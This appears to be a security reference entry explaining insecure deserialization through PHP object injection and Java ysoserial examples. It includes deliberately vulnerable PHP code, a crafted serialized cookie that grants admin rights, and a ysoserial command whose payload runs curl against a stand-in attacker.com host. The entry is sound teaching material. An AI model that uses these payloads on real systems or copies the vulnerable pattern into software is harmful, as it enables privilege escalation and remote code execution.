Deserialization
CriticalInsecure Deserialization
Definition
Insecure Deserialization occurs when an application deserializes untrusted data without proper validation. Attackers can tamper with serialized objects to achieve remote code execution, privilege escalation or data manipulation. It affects languages such as Java, PHP, Python, Ruby and .NET.
Impact
Examples
PHP Object Injection
The PHP application deserializes data from a cookie without validation. The attacker crafts a serialized object with modified properties (isAdmin: true), which upon deserialization creates an instance with administrator privileges.
// Vulnerable PHP class
class UserPreferences {
public $theme = 'light';
public $isAdmin = false;
public function __destruct() {
if ($this->isAdmin) {
// Privileged operation
}
}
}
// Insecure deserialization
$prefs = unserialize($_COOKIE['preferences']);
// Attacker payload (serialized cookie):
O:15:"UserPreferences":2:{s:5:"theme";s:4:"dark";s:7:"isAdmin";b:1;}
// isAdmin is set to trueJava Deserialization with ysoserial
Java applications that use ObjectInputStream to deserialize input data are vulnerable. The ysoserial tool generates payloads that exploit 'gadget chains' in common libraries such as Apache Commons to achieve code execution.
# Generate the payload with ysoserial java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/pwned' | base64 # Send it as a cookie, header or body depending on the vector: Cookie: session=rO0ABXNyADJvcmcuYXBhY2hlLm... # When the server deserializes (ObjectInputStream.readObject()), # the gadget chain runs, resulting in RCE